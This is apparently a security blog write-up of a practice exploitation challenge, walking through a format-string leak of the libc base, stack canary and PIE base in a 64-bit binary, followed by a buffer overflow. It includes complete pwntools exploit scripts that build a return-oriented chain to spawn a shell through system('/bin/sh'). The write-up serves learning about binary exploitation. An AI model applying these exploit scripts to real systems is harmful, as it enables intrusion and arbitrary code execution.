Power belongs to the people who take it

PWN – ROP: bypass NX, ASLR, PIE and Canary

In this pwn post we are going to face a linux binary with all the active protections. In this binary we find a format string and a buffer overflow, the first will serve us to ‘leak’ the necessary addresses to bypassear the protections and the second will serve us to take control of the process.

Protections

In case you have any doubts about what each protection does, I’ll give you a brief summary:

  • NX: The NX (do not execute) bit is a technology used in CPUs that guarantees that certain memory areas (such as the stack and heap) are not executable, and others, such as the code section, cannot be written. It basically prevents us from using simpler techniques as we did in this post where we wrote a shellcode in the stack and then executed it.
  • ASLR: basically randomizes the base of the libraries (libc) so that we can’t know the memory address of functions of the libc. The ASLR avoids the technique Ret2libc and forces us to have to leak addresses of the same in order to calculate base.
  • PIE: this technique, like the ASLR, randomizes the base address but in this case it is from the binary itself. This makes it difficult for us to use gadgets or functions of the binary.
  • Canario: Normally, a random value is generated at program initialization, and inserted at the end of the high risk area where the stack overflows, at the end of the function, it is checked whether the canary value has been modified.

Analysis

The binary is a 64-bit ELF: B0f.

$ file b0f      
b0f: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3cd41764dce3415f6d1f0c5d5e27edb759d0798e, not stripped

$ checksec b0f 
[*] '/root/B0f/b0f'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ ./b0f                                               
Enter name : Iron
Hello
Iron
Enter sentence : AAAA

As you can see, all the protections are active. We open it with IDA and after cleaning the pseudo-C we get:

int main(int argc, const char **argv)
{
  char s[8];

  printf("Enter name : ");
  fgets(s, 16, stdin);
  puts("Hello");
  printf(s, 16);
  printf("Enter sentence : ");
  fgets(s, 256, stdin);
  return 0;
}

With GDB we see that after fgets the canary is checked:

   0x000000000000081a <+160>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x000000000000081e <+164>:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000000827 <+173>:   je     0x82e <main+180>
   0x0000000000000829 <+175>:   call   0x630 <__stack_chk_fail@plt>

Despite having all the active protections, this challenge does not seem very complex.
As soon as we read the code C we see a Format String in the line printf(s, 16); and an overflow buffer in fgets(s, 256, stdin);.

The format string is only 16 bytes but can be used to bypass the canary, the PIE and the ASLR.

Leaks

As they are only 16 bytes we cannot, in a single execution, see all the possible outputs of format string so we do a fuzzer:

#!/usr/bin/env python
from pwn import *

e = ELF("./b0f")

for i in range(20):
        io = e.process(level="error")
        io.sendline("AAAA %%%d$lx" % i)
        io.recvline()
        print("%d - %s" % (i, io.recvline().strip()))
        io.close()

In the eighth output we see the 4 As we have introduced (0x41414141) then we could ‘overwrite’ memory addresses, outputs starting with 0x7f correspond to libc memory addresses then we can read to calculate its offset (ASLR), outputs such as 1 and 12 may be useful to calculate PIE offset and outputs 11 and 19 appear to be the canary.

LIBC Leak

Using gdb we are going to read a libc address (%2$lx) and look for the offset of that output:

gdb-peda$ r                                                                                                                                                                                                   
Starting program: /root/B0f/b0f                                                                                                                                                                               
Enter name : %2$lx                                                                                                                                                                                            
Hello                                                                                                                                                                                                         
7ffff7fa28c0                                                                                                                                                                                                  
Enter sentence : ^C                                                                                                                                                                                           
Program received signal SIGINT, Interrupt.

gdb-peda$ vmmap
Start              End                Perm      Name
[...]
0x00007ffff7de5000 0x00007ffff7e07000 r--p      /usr/lib/x86_64-linux-gnu/libc-2.28.so
[...]
gdb-peda$ p/x 0x07ffff7fa28c0 - 0x00007ffff7de5000
$1 = 0x1bd8c0

As you can see we are able to leak an address from LIBC and we will only have to subtract 0x1bd8c0 to get its base address.

0x07ffff7fa28c0 – 0x07ffff7de5000 = 0x1bd8c0

Canary Leak

To calculate if the canary corresponds with the output 11 or 19 of format string we can use gdb again. Just enter %11$lx or %19$lx and check, with breakpoint, the value of canary that is stored in RCX. If it coincides with one of the two, we will be able to read the canary easily.

  • Output 11:
  • gdb-peda$ b * 0x000055555555481e                                                                                                                                                                              
    Breakpoint 1 at 0x55555555481e                                                                                                                                                                                
    gdb-peda$ r                                                                                                                                                                                                   
    Starting program: /root/B0f/b0f                                                                                                                                                                               
    Enter name : %11$lx                                                                                                                                                                                           
    Hello                                                                                                                                                                                                         
    653e968ff57a9a00                                                                                                                                                                                              
    Enter sentence : A
    
    Breakpoint 1, 0x000055555555481e in main ()
    gdb-peda$ p $rcx
    $1 = 0x653e968ff57a9a00
    
  • Output 19:
  • gdb-peda$ r                                                                                                                                                                                                   
    Starting program: /root/B0f/b0f                                                                                                                                                                               
    Enter name : %19$lx                                                                                                                                                                                           
    Hello                                                                                                                                                                                                         
    9fc6f16c66e05032                                                                                                                                                                                              
    Enter sentence : A
    Breakpoint 1, 0x000055555555481e in main ()
    
    gdb-peda$ p $rcx
    $2 = 0xb880af3b86db6000
    

    Perfect! At exit 11 we get the value of the canary.

    Binary Base Leak (PIE)

    To be able to execute arbitrary code we will need instructions from the binary itself, being the PIE active we need to read it as well.
    Let’s use GDB and try with output 12:

    gdb-peda$ r                                                                                                                                                                                                   
    Starting program: /root/B0f/b0f                                                                                                                                                                               
    Enter name : %12$lx                                                                                                                                                                                           
    Hello                                                                                                                                                                                                         
    555555554830                                                                                                                                                                                                  
    Enter sentence : ^C                                                                                                                                                                                           
    Program received signal SIGINT, Interrupt.
    
    gdb-peda$ vmmap
    Start              End                Perm      Name
    0x0000555555554000 0x0000555555555000 r-xp      /root/B0f/b0f
    [...]
    gdb-peda$ p/x 0x0555555554830 - 0x0000555555554000
    $2 = 0x830
    

    As you can see it has worked, now we can calculate the base of the binary at execution time. We will only have to subtract 0x830 from the output 12 of the string format.

    Padding

    Now let’s calculate the padding we should use to overwrite the canary and then the return address.

  • Canario: just set a breakpoint and check the value of the canary (RCX).
  • gdb-peda$ pattern create 64                                                                                                                                                                                   
    'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'                                                                                                                                            
    gdb-peda$ r                                                                                                                                                                                                   
    Starting program: /root/B0f/b0f                                                                                                                                                                               
    Enter name : A                                                                                                                                                                                                
    Hello                                                                                                                                                                                                         
    A                                                                                                                                                                                                             
    Enter sentence : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
    
    Breakpoint 1, 0x000055555555481e in main ()
    gdb-peda$ p/x $rcx
    $1 = 0x413b414144414128
    gdb-peda$ pattern offset 0x413b414144414128
    4700422384665051432 found at offset: 24
    
  • Return address: when we know what the offset is to canary , we can easily calculate the distance to the return direction.

    “A”*24 + CANARY + “A”*8 + PATRÓN

  • #!/usr/bin/env python
    from pwn import *
    
    e = ELF('b0f')
    io = e.process()
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io)
    
    io.sendline('%11$lx')
    io.recvline()
    leak = io.recvline()
    canary = int(leak.strip(), 16)
    log.info("Canary: %s" % (hex(canary)))
    
    payload = "A"*24 + p64(canary) + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH"
    
    io.sendline(payload)
    io.interactive()
    

    We already know the offset to the return address, so we can control the RIP:

    “A”*24 + CANARY + “A”*8 + ROP

    Exploitation

    With all of the above in mind we can now begin to write the exploit. The first thing is to read using the format string: %2$lx (libc), %11$lx (canary) and %12$lx (pie)..
    We could do it all in one run: read and execute system(‘/bin/sh’) but for the string format we only have 16 bytes.

    len(“%2$lx-%11$lx-%12$lx”) = 19

    But this is not a bit of a problem, it is solved by calling main after the first leak..
    The exploit stays that way:

    – Leak 1: PIE and Canario
    – Payload 1: “A “*24 + Canary + “A “*8 + main()
    – Leak 2: LIBC
    – Payload 2: “A “*24 + Canary + “A “*8 + system(“/bin/sh”)

    Being in a system of 64 bits, the way to call to pass arguments to the functions (system in this case) is with the register RDI.
    We need: Gadget POP RDI + ARG_1 + FUNCTION

    $ ROPgadget --binary b0f | grep "pop rdi"
    0x0000000000000893 : pop rdi ; ret
    
    #!/usr/bin/env python
    from pwn import *
    
    e = ELF('b0f')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    io = e.process()
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
    
    io.sendline('%12$lx-%11$lx') # PIE & CANARY
    io.recvline()
    leak = io.recvline()
    pie = int(leak.strip().split('-')[0], 16) - 0x830 # 0x2139260
    canary = int(leak.strip().split('-')[1], 16)
    log.info("Pie: %s" % hex(pie))
    log.info("Canary: %s" % hex(canary))
    
    payload = flat(
            "A"*24,
    		canary, 
            "A"*8,
            pie + e.sym['main'],
    		endianness = 'little', word_size = 64, sign = False)
    io.sendline(payload)
    
    io.sendline('%2$lx') # libc
    io.recvline()
    leak = io.recvline()
    libc.address = int(leak.strip(), 16) - 0x1bd8c0
    log.info("Libc: %s" % hex(libc.address))
    payload = flat(
            "A"*24,
    		canary, 
            "A"*8,
    		pie + 0x0893, # 0x0000000000000893 : pop rdi ; ret
    		next(libc.search('/bin/sh')),
    		libc.sym['system'],
    		endianness = 'little', word_size = 64, sign = False)
    io.sendline(payload)
    io.interactive()
    

    *We don’t have to use the PIE Leak, we can use a pop rdi; ret gadget from LIBC.

    #!/usr/bin/env python
    from pwn import *
    
    e = ELF('b0f')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    io = e.process()
    
    io.sendline('%2$lx-%11$lx')
    io.recvline()
    leak = io.recvline()
    libc.address = int(leak.strip().split('-')[0], 16) - 0x1bd8c0
    canary = int(leak.strip().split('-')[1], 16)
    
    log.info("Libc: %s" % hex(libc.address))
    log.info("Canary: %s" % hex(canary))
    
    payload = flat(
            "A"*24,
            canary, 
            "A"*8,
            libc.address + 0x0000000000023a5f, # pop rdi ; ret
            next(libc.search('/bin/sh')),
            libc.sym['system'],
            endianness = 'little', word_size = 64, sign = False)
    
    io.sendline(payload)
    io.interactive()
    
    ¿Me ayudas a compatirlo?

    4 Comments

    1. XxXByTormentoGamer05

      oLA Soy SusCriptor like y comentario

      • Elias Sargs

        That’s a beautiful exploit. Great Explanation as well.

    2. [email protected]

      From where I can get the binary ?

      • Anonymous

        +1

    Leave a Reply

    Your email address will not be published. Required fields are marked *

    This site uses Akismet to reduce spam. Learn how your comment data is processed.

    © 2024 ironHackers

    Theme by Anders NorenUp ↑